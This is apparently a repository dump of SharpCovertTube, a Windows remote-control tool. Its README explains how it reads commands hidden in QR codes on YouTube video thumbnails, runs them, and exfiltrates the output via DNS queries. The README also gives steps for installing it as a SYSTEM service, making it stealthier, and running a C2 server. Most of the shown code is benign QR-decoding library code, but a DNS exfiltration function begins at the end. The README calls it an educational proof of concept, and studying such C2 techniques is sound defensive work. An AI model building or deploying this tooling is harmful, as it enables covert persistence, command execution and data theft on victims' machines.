147 | // search for first end of line
148 | int StartPtr = 0;
149 | while(StartPtr < 1024 && Buffer[StartPtr++] != '\n');
150 | if(StartPtr == 1024) StartPtr = 0;
151 |
152 | // seek to start of file
153 | TraceFile.Seek(0, SeekOrigin.Begin);
154 |
155 | // write 75% top part of file over the start of the file
156 | TraceFile.Write(Buffer, StartPtr, NewFileLength - StartPtr);
157 |
158 | // truncate the file
159 | TraceFile.SetLength(TraceFile.Position);
160 |
161 | // close the file
162 | TraceFile.Close();
163 |
164 | // exit
165 | return;
166 | }
167 | }
168 | #endif
169 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/QRCodeDecoder/QRCodeTrace.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code trace for debuging.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 | using System.IO;
46 |
47 | namespace SharpCovertTube_Service.QRCodeDecoder
48 | {
49 | #if DEBUG
50 | /////////////////////////////////////////////////////////////////////
51 | // Trace Class
52 | /////////////////////////////////////////////////////////////////////
53 |
54 | static public class QRCodeTrace
55 | {
56 | private static string TraceFileName; // trace file name
57 | private static int MaxAllowedFileSize = 1024*1024;
58 |
59 | /////////////////////////////////////////////////////////////////////
60 | // Open trace file
61 | /////////////////////////////////////////////////////////////////////
62 |
63 | public static void Open
64 | (
65 | string FileName
66 | )
67 | {
68 | // save full file name
69 | TraceFileName = Path.GetFullPath(FileName);
70 | Write("----");
71 | return;
72 | }
73 |
74 | /////////////////////////////////////////////////////////////////////
75 | // write to trace file
76 | /////////////////////////////////////////////////////////////////////
77 |
78 | public static void Format
79 | (
80 | string Message,
81 | params Object[] ArgArray
82 | )
83 | {
84 | if(ArgArray.Length == 0) Write(Message);
85 | else Write(string.Format(Message, ArgArray));
86 | return;
87 | }
88 |
89 | /////////////////////////////////////////////////////////////////////
90 | // write to trace file
91 | /////////////////////////////////////////////////////////////////////
92 |
93 | public static void Write
94 | (
95 | string Message
96 | )
97 | {
98 | Console.WriteLine("Message: \t" + Message);
99 | // test file length
100 | TestSize();
101 |
102 | // open existing or create new trace file
103 | StreamWriter TraceFile = new StreamWriter(TraceFileName, true);
104 |
105 | // write date and time
106 | TraceFile.Write(string.Format("{0:yyyy}/{0:MM}/{0:dd} {0:HH}:{0:mm}:{0:ss} ", DateTime.Now));
107 |
108 | // write message
109 | TraceFile.WriteLine(Message);
110 |
111 | // close the file
112 | TraceFile.Close();
113 |
114 | // exit
115 | return;
116 | }
117 |
118 |
119 | /////////////////////////////////////////////////////////////////////
120 | // Test file size
121 | // If file is too big, remove first quarter of the file
122 | /////////////////////////////////////////////////////////////////////
123 |
124 | private static void TestSize()
125 | {
126 | // get trace file info
127 | FileInfo TraceFileInfo = new FileInfo(TraceFileName);
128 |
129 | // if file does not exist or file length less than max allowed file size do nothing
130 | if (TraceFileInfo.Exists == false || TraceFileInfo.Length <= MaxAllowedFileSize) return;
131 |
132 | // create file info class
133 | FileStream TraceFile = new FileStream(TraceFileName, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
134 |
135 | // seek to 25% length
136 | TraceFile.Seek(TraceFile.Length / 4, SeekOrigin.Begin);
137 |
138 | // new file length
139 | int NewFileLength = (int) (TraceFile.Length - TraceFile.Position);
140 |
141 | // new file buffer
142 | byte[] Buffer = new byte[NewFileLength];
143 |
144 | // read file to the end
145 | TraceFile.Read(Buffer, 0, NewFileLength);
146 |
147 | // search for first end of line
148 | int StartPtr = 0;
149 | while(StartPtr < 1024 && Buffer[StartPtr++] != '\n');
150 | if(StartPtr == 1024) StartPtr = 0;
151 |
152 | // seek to start of file
153 | TraceFile.Seek(0, SeekOrigin.Begin);
154 |
155 | // write 75% top part of file over the start of the file
156 | TraceFile.Write(Buffer, StartPtr, NewFileLength - StartPtr);
157 |
158 | // truncate the file
159 | TraceFile.SetLength(TraceFile.Position);
160 |
161 | // close the file
162 | TraceFile.Close();
163 |
164 | // exit
165 | return;
166 | }
167 | }
168 | #endif
169 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/SharpCovertTube_Service.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
124 | False
125 |
126 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/ProjectInstaller.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 60
122 |
123 |
124 | 229, 17
125 |
126 |
127 | False
128 |
129 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpCovertTube
2 |
3 | SharpCovertTube is a program created to control Windows systems remotely by uploading videos to Youtube.
4 |
5 | The program monitors a Youtube channel until a video is uploaded, decodes the QR code from the thumbnail of the uploaded video and executes a command. The QR codes in the videos can use cleartext or AES-encrypted values.
6 |
7 | It has two versions, binary and service binary, and it includes a Python script to generate the malicious videos. Its purpose is to serve as a persistence method using only web requests to the Google API.
8 |
9 | 
10 |
11 |
12 | ## Usage
13 |
14 | Run the listener in your Windows system:
15 |
16 | 
17 |
18 | It will check the Youtube channel every a specific amount of time (10 minutes by default) until a new video is uploaded. In this case, we upload "whoami.avi" from the folder [example-videos](https://github.com/ricardojoserf/SharpCovertTube/tree/main/example-videos):
19 |
20 |
21 |
22 | After finding there is a [new video](https://www.youtube.com/shorts/-JcDf4pF0qA) in the channel, it decodes the QR code from the video thumbnail, executes the command and the response is base64-encoded and exfiltrated using DNS:
23 |
24 | 
25 |
26 | This works also for QR codes with AES-encrypted payloads and longer command responses. In this example, the file "dirtemp_aes.avi" from [example-videos](https://github.com/ricardojoserf/SharpCovertTube/tree/main/example-videos) is uploaded and the content of c:\temp is exfiltrated using several DNS queries:
27 |
28 | 
29 |
30 | Logging to a file is optional but check the folder exists, the default value is "c:\temp\\.sharpcoverttube.log" so "c:\temp" should exist.
31 |
32 | DNS exfiltration is also optional and can be easily tested using Burp's collaborator:
33 |
34 | 
35 |
36 | As an alternative, I created a script to easily create QR videos, upload to Youtube and monitor and parse the base64-encoded DNS queries. The configuration to use this script as C2 server is explained in the [c2-server folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/c2-server):
37 |
38 | 
39 |
40 | -------------------
41 |
42 | ## Configuration
43 |
44 | There are some values you can change, you can find them in Configuration.cs file for the [regular binary](https://github.com/ricardojoserf/SharpCovertTube/blob/main/SharpCovertTube/Configuration.cs) and [the service binary](https://github.com/ricardojoserf/SharpCovertTube/blob/main/SharpCovertTube_Service/Configuration.cs). Only the first two values have to be updated:
45 |
46 | - **channel_id** (Mandatory!!!): Get your Youtube channel ID from [here](https://www.youtube.com/account_advanced).
47 | - **api_key** (Mandatory!!!): To get the API key create an application and generate the key from [here](https://console.cloud.google.com/apis/credentials).
48 | - **payload_aes_key** (Optional. Default: "0000000000000000"): AES key for decrypting QR codes (if using AES). It must be a 16-characters string.
49 | - **payload_aes_iv** (Optional. Default: "0000000000000000"): IV key for decrypting QR codes (if using AES). It must be a 16-characters string.
50 | - **seconds_delay** (Optional. Default: 600): Seconds of delay until checking if a new video has been uploaded. If the value is low you will exceed the API rate limit.
51 | - **debug_console** (Optional. Default: true): Show debug messages in console or not.
52 | - **log_to_file** (Optional. Default: true): Write debug messages in log file or not.
53 | - **log_file** (Optional. Default: "c:\temp\\.sharpcoverttube.log"): Log file path.
54 | - **dns_exfiltration** (Optional. Default: true): Exfiltrate command responses through DNS or not.
55 | - **dns_hostname** (Optional. Default: ".test.org"): DNS hostname to exfiltrate the response from commands executed in the system.
56 |
57 | 
58 |
59 |
60 | ----------------------------------
61 |
62 | ## Generating videos with QR codes
63 |
64 | You can generate the videos using the server script in the [c2-server folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/c2-server) or simply running the *generate_video.py* script. For the latter, first install the dependencies:
65 |
66 | ```
67 | pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus
68 | ```
69 |
70 | In case you are using Linux you may also need:
71 |
72 | ```
73 | apt-get install libgl1
74 | ```
75 |
76 | Then run the generate_video.py script:
77 |
78 | ```
79 | python generate_video.py -t TYPE -f FILE -c COMMAND [-k AESKEY] [-i AESIV]
80 | ```
81 |
82 | - TYPE (-t) must be "qr" for payloads in cleartext or "qr_aes" if using AES encryption.
83 |
84 | - FILE (-f) is the path where the video is generated.
85 |
86 | - COMMAND (-c) is the command to execute in the system.
87 |
88 | - AESKEY (-k) is the key for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube.
89 |
90 | - AESIV (-i) is the IV for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube.
91 |
92 |
93 | ### Examples
94 |
95 | Generate a video with a QR value of "whoami" in cleartext in the path c:\temp\whoami.avi:
96 |
97 | ```
98 | python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami
99 | ```
100 |
101 | Generate a video with an AES-encrypted QR value of "dir c:\windows\temp" with the key and IV "0000000000000000" in the path c:\temp\dirtemp_aes.avi:
102 |
103 | ```
104 | python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000
105 | ```
106 |
107 |
108 | 
109 |
110 |
111 | ---------------------------
112 |
113 | ## Running it as a service
114 |
115 | You can find the code to run it as a service in the [SharpCovertTube_Service folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/SharpCovertTube_Service). It has the same functionalities except self-deletion, which would not make sense in this case.
116 |
117 | It is possible to install it with InstallUtil, it is prepared to run as the SYSTEM user and you need to install it as administrator:
118 |
119 | ```
120 | InstallUtil.exe SharpCovertTube_Service.exe
121 | ```
122 |
123 | You can then start it with:
124 |
125 | ```
126 | net start "SharpCovertTube Service"
127 | ```
128 |
129 | 
130 |
131 | In case you have administrative privileges this may be stealthier than the ordinary binary, but the "Description" and "DisplayName" should be updated (as you can see in the image above). If you do not have those privileges you can not install services so you can only use the ordinary binary.
132 |
133 | ---------------------------
134 |
135 | ## Notes
136 |
137 | - **File must be 64 bits!!!** This is due to the code used for QR decoding, which is borrowed from Stefan Gansevles's [QR-Capture](https://github.com/Stefangansevles/QR-Capture) project, who borrowed part of it from Uzi Granot's [QRCode](https://github.com/Uzi-Granot/QRCode) project, who at the same time borrowed part of it from Zakhar Semenov's [Camera_Net](https://github.com/free5lot/Camera_Net) project (then I lost track). So thanks to all of them!
138 |
139 | - This project is a port from [covert-tube](https://github.com/ricardojoserf/covert-tube), a project I developed in 2021 using just Python, which was inspired by Welivesecurity blogs about [Casbaneiro](https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/) and [Numando](https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/) malwares.
140 |
141 | - This project is a PoC to show how almost anything on the Internet can be used as C2 channel, hopefully it is inspirational for someone. The project is intended for educational purposes, if you misuse the Youtube service you can get in problems such as Youtube deleting your channel.
142 |
--------------------------------------------------------------------------------
/SharpCovertTube/QRCodeDecoder/Corner.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code three finders corner class.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 |
46 | namespace SharpCovertTube.QRCodeDecoder
47 | {
48 | /////////////////////////////////////////////////////////////////////
49 | // QR corner three finders pattern class
50 | /////////////////////////////////////////////////////////////////////
51 |
52 | internal class Corner
53 | {
54 | internal Finder TopLeftFinder;
55 | internal Finder TopRightFinder;
56 | internal Finder BottomLeftFinder;
57 |
58 | internal double TopLineDeltaX;
59 | internal double TopLineDeltaY;
60 | internal double TopLineLength;
61 | internal double LeftLineDeltaX;
62 | internal double LeftLineDeltaY;
63 | internal double LeftLineLength;
64 |
65 | /////////////////////////////////////////////////////////////////////
66 | // QR corner constructor
67 | /////////////////////////////////////////////////////////////////////
68 |
69 | private Corner
70 | (
71 | Finder TopLeftFinder,
72 | Finder TopRightFinder,
73 | Finder BottomLeftFinder
74 | )
75 | {
76 | // save three finders
77 | this.TopLeftFinder = TopLeftFinder;
78 | this.TopRightFinder = TopRightFinder;
79 | this.BottomLeftFinder = BottomLeftFinder;
80 |
81 | // top line slope
82 | TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col;
83 | TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row;
84 |
85 | // top line length
86 | TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY);
87 |
88 | // left line slope
89 | LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col;
90 | LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row;
91 |
92 | // left line length
93 | LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY);
94 | return;
95 | }
96 |
97 | /////////////////////////////////////////////////////////////////////
98 | // Test QR corner for validity
99 | /////////////////////////////////////////////////////////////////////
100 |
101 | internal static Corner CreateCorner
102 | (
103 | Finder TopLeftFinder,
104 | Finder TopRightFinder,
105 | Finder BottomLeftFinder
106 | )
107 | {
108 | // try all three possible permutation of three finders
109 | for (int Index = 0; Index < 3; Index++)
110 | {
111 | // TestCorner runs three times to test all posibilities
112 | // rotate top left, top right and bottom left
113 | if (Index != 0)
114 | {
115 | Finder Temp = TopLeftFinder;
116 | TopLeftFinder = TopRightFinder;
117 | TopRightFinder = BottomLeftFinder;
118 | BottomLeftFinder = Temp;
119 | }
120 |
121 | // top line slope
122 | double TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col;
123 | double TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row;
124 |
125 | // left line slope
126 | double LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col;
127 | double LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row;
128 |
129 | // top line length
130 | double TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY);
131 |
132 | // left line length
133 | double LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY);
134 |
135 | // the short side must be at least 80% of the long side
136 | if (Math.Min(TopLineLength, LeftLineLength) < QRDecoder.CORNER_SIDE_LENGTH_DEV * Math.Max(TopLineLength, LeftLineLength)) continue;
137 |
138 | // top line vector
139 | double TopLineSin = TopLineDeltaY / TopLineLength;
140 | double TopLineCos = TopLineDeltaX / TopLineLength;
141 |
142 | // rotate lines such that top line is parallel to x axis
143 | // left line after rotation
144 | double NewLeftX = TopLineCos * LeftLineDeltaX + TopLineSin * LeftLineDeltaY;
145 | double NewLeftY = -TopLineSin * LeftLineDeltaX + TopLineCos * LeftLineDeltaY;
146 |
147 | // new left line X should be zero (or between +/- 4 deg)
148 | if (Math.Abs(NewLeftX / LeftLineLength) > QRDecoder.CORNER_RIGHT_ANGLE_DEV) continue;
149 |
150 | // swap top line with left line
151 | if (NewLeftY < 0)
152 | {
153 | // swap top left with bottom right
154 | Finder TempFinder = TopRightFinder;
155 | TopRightFinder = BottomLeftFinder;
156 | BottomLeftFinder = TempFinder;
157 | }
158 |
159 | return new Corner(TopLeftFinder, TopRightFinder, BottomLeftFinder);
160 | }
161 | return null;
162 | }
163 |
164 | /////////////////////////////////////////////////////////////////////
165 | // Test QR corner for validity
166 | /////////////////////////////////////////////////////////////////////
167 |
168 | internal int InitialVersionNumber()
169 | {
170 | // version number based on top line
171 | double TopModules = 7;
172 |
173 | // top line is mostly horizontal
174 | if (Math.Abs(TopLineDeltaX) >= Math.Abs(TopLineDeltaY))
175 | {
176 | TopModules += TopLineLength * TopLineLength /
177 | (Math.Abs(TopLineDeltaX) * 0.5 * (TopLeftFinder.HModule + TopRightFinder.HModule));
178 | }
179 |
180 | // top line is mostly vertical
181 | else
182 | {
183 | TopModules += TopLineLength * TopLineLength /
184 | (Math.Abs(TopLineDeltaY) * 0.5 * (TopLeftFinder.VModule + TopRightFinder.VModule));
185 | }
186 |
187 | // version number based on left line
188 | double LeftModules = 7;
189 |
190 | // Left line is mostly vertical
191 | if (Math.Abs(LeftLineDeltaY) >= Math.Abs(LeftLineDeltaX))
192 | {
193 | LeftModules += LeftLineLength * LeftLineLength /
194 | (Math.Abs(LeftLineDeltaY) * 0.5 * (TopLeftFinder.VModule + BottomLeftFinder.VModule));
195 | }
196 |
197 | // left line is mostly horizontal
198 | else
199 | {
200 | LeftModules += LeftLineLength * LeftLineLength /
201 | (Math.Abs(LeftLineDeltaX) * 0.5 * (TopLeftFinder.HModule + BottomLeftFinder.HModule));
202 | }
203 |
204 | // version (there is rounding in the calculation)
205 | int Version = ((int)Math.Round(0.5 * (TopModules + LeftModules)) - 15) / 4;
206 |
207 | // not a valid corner
208 | if (Version < 1 || Version > 40) throw new ApplicationException("Corner is not valid (version number must be 1 to 40)");
209 |
210 | // exit with version number
211 | return Version;
212 | }
213 | }
214 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/QRCodeDecoder/Corner.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code three finders corner class.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 |
46 | namespace SharpCovertTube_Service.QRCodeDecoder
47 | {
48 | /////////////////////////////////////////////////////////////////////
49 | // QR corner three finders pattern class
50 | /////////////////////////////////////////////////////////////////////
51 |
52 | internal class Corner
53 | {
54 | internal Finder TopLeftFinder;
55 | internal Finder TopRightFinder;
56 | internal Finder BottomLeftFinder;
57 |
58 | internal double TopLineDeltaX;
59 | internal double TopLineDeltaY;
60 | internal double TopLineLength;
61 | internal double LeftLineDeltaX;
62 | internal double LeftLineDeltaY;
63 | internal double LeftLineLength;
64 |
65 | /////////////////////////////////////////////////////////////////////
66 | // QR corner constructor
67 | /////////////////////////////////////////////////////////////////////
68 |
69 | private Corner
70 | (
71 | Finder TopLeftFinder,
72 | Finder TopRightFinder,
73 | Finder BottomLeftFinder
74 | )
75 | {
76 | // save three finders
77 | this.TopLeftFinder = TopLeftFinder;
78 | this.TopRightFinder = TopRightFinder;
79 | this.BottomLeftFinder = BottomLeftFinder;
80 |
81 | // top line slope
82 | TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col;
83 | TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row;
84 |
85 | // top line length
86 | TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY);
87 |
88 | // left line slope
89 | LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col;
90 | LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row;
91 |
92 | // left line length
93 | LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY);
94 | return;
95 | }
96 |
97 | /////////////////////////////////////////////////////////////////////
98 | // Test QR corner for validity
99 | /////////////////////////////////////////////////////////////////////
100 |
101 | internal static Corner CreateCorner
102 | (
103 | Finder TopLeftFinder,
104 | Finder TopRightFinder,
105 | Finder BottomLeftFinder
106 | )
107 | {
108 | // try all three possible permutation of three finders
109 | for (int Index = 0; Index < 3; Index++)
110 | {
111 | // TestCorner runs three times to test all posibilities
112 | // rotate top left, top right and bottom left
113 | if (Index != 0)
114 | {
115 | Finder Temp = TopLeftFinder;
116 | TopLeftFinder = TopRightFinder;
117 | TopRightFinder = BottomLeftFinder;
118 | BottomLeftFinder = Temp;
119 | }
120 |
121 | // top line slope
122 | double TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col;
123 | double TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row;
124 |
125 | // left line slope
126 | double LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col;
127 | double LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row;
128 |
129 | // top line length
130 | double TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY);
131 |
132 | // left line length
133 | double LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY);
134 |
135 | // the short side must be at least 80% of the long side
136 | if (Math.Min(TopLineLength, LeftLineLength) < QRDecoder.CORNER_SIDE_LENGTH_DEV * Math.Max(TopLineLength, LeftLineLength)) continue;
137 |
138 | // top line vector
139 | double TopLineSin = TopLineDeltaY / TopLineLength;
140 | double TopLineCos = TopLineDeltaX / TopLineLength;
141 |
142 | // rotate lines such that top line is parallel to x axis
143 | // left line after rotation
144 | double NewLeftX = TopLineCos * LeftLineDeltaX + TopLineSin * LeftLineDeltaY;
145 | double NewLeftY = -TopLineSin * LeftLineDeltaX + TopLineCos * LeftLineDeltaY;
146 |
147 | // new left line X should be zero (or between +/- 4 deg)
148 | if (Math.Abs(NewLeftX / LeftLineLength) > QRDecoder.CORNER_RIGHT_ANGLE_DEV) continue;
149 |
150 | // swap top line with left line
151 | if (NewLeftY < 0)
152 | {
153 | // swap top left with bottom right
154 | Finder TempFinder = TopRightFinder;
155 | TopRightFinder = BottomLeftFinder;
156 | BottomLeftFinder = TempFinder;
157 | }
158 |
159 | return new Corner(TopLeftFinder, TopRightFinder, BottomLeftFinder);
160 | }
161 | return null;
162 | }
163 |
164 | /////////////////////////////////////////////////////////////////////
165 | // Test QR corner for validity
166 | /////////////////////////////////////////////////////////////////////
167 |
168 | internal int InitialVersionNumber()
169 | {
170 | // version number based on top line
171 | double TopModules = 7;
172 |
173 | // top line is mostly horizontal
174 | if (Math.Abs(TopLineDeltaX) >= Math.Abs(TopLineDeltaY))
175 | {
176 | TopModules += TopLineLength * TopLineLength /
177 | (Math.Abs(TopLineDeltaX) * 0.5 * (TopLeftFinder.HModule + TopRightFinder.HModule));
178 | }
179 |
180 | // top line is mostly vertical
181 | else
182 | {
183 | TopModules += TopLineLength * TopLineLength /
184 | (Math.Abs(TopLineDeltaY) * 0.5 * (TopLeftFinder.VModule + TopRightFinder.VModule));
185 | }
186 |
187 | // version number based on left line
188 | double LeftModules = 7;
189 |
190 | // Left line is mostly vertical
191 | if (Math.Abs(LeftLineDeltaY) >= Math.Abs(LeftLineDeltaX))
192 | {
193 | LeftModules += LeftLineLength * LeftLineLength /
194 | (Math.Abs(LeftLineDeltaY) * 0.5 * (TopLeftFinder.VModule + BottomLeftFinder.VModule));
195 | }
196 |
197 | // left line is mostly horizontal
198 | else
199 | {
200 | LeftModules += LeftLineLength * LeftLineLength /
201 | (Math.Abs(LeftLineDeltaX) * 0.5 * (TopLeftFinder.HModule + BottomLeftFinder.HModule));
202 | }
203 |
204 | // version (there is rounding in the calculation)
205 | int Version = ((int)Math.Round(0.5 * (TopModules + LeftModules)) - 15) / 4;
206 |
207 | // not a valid corner
208 | if (Version < 1 || Version > 40) throw new ApplicationException("Corner is not valid (version number must be 1 to 40)");
209 |
210 | // exit with version number
211 | return Version;
212 | }
213 | }
214 | }
--------------------------------------------------------------------------------
/SharpCovertTube/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 | using System.Collections.Generic;
7 | using SharpCovertTube.QRCodeDecoder;
8 | using static SharpCovertTube.Configuration;
9 | using static SharpCovertTube.CmdFunctions;
10 | using static SharpCovertTube.HelperFunctions;
11 | using static SharpCovertTube.Win32;
12 |
13 |
14 | namespace SharpCovertTube
15 | {
16 | internal class Program
17 | {
18 | // Exfiltrate data via DNS
19 | static void DNSExfil(string response_cmd) {
20 | // Base64-encode the response
21 | if (response_cmd == "")
22 | {
23 | response_cmd = "null";
24 | }
25 | string base64_response_cmd = Base64Encode(response_cmd);
26 | LogShow("Base64-encoded response:\t\t"+ base64_response_cmd);
27 | int max_size = 100; // 255 - dns_hostname.Length - 1;
28 | if (base64_response_cmd.Length > max_size) {
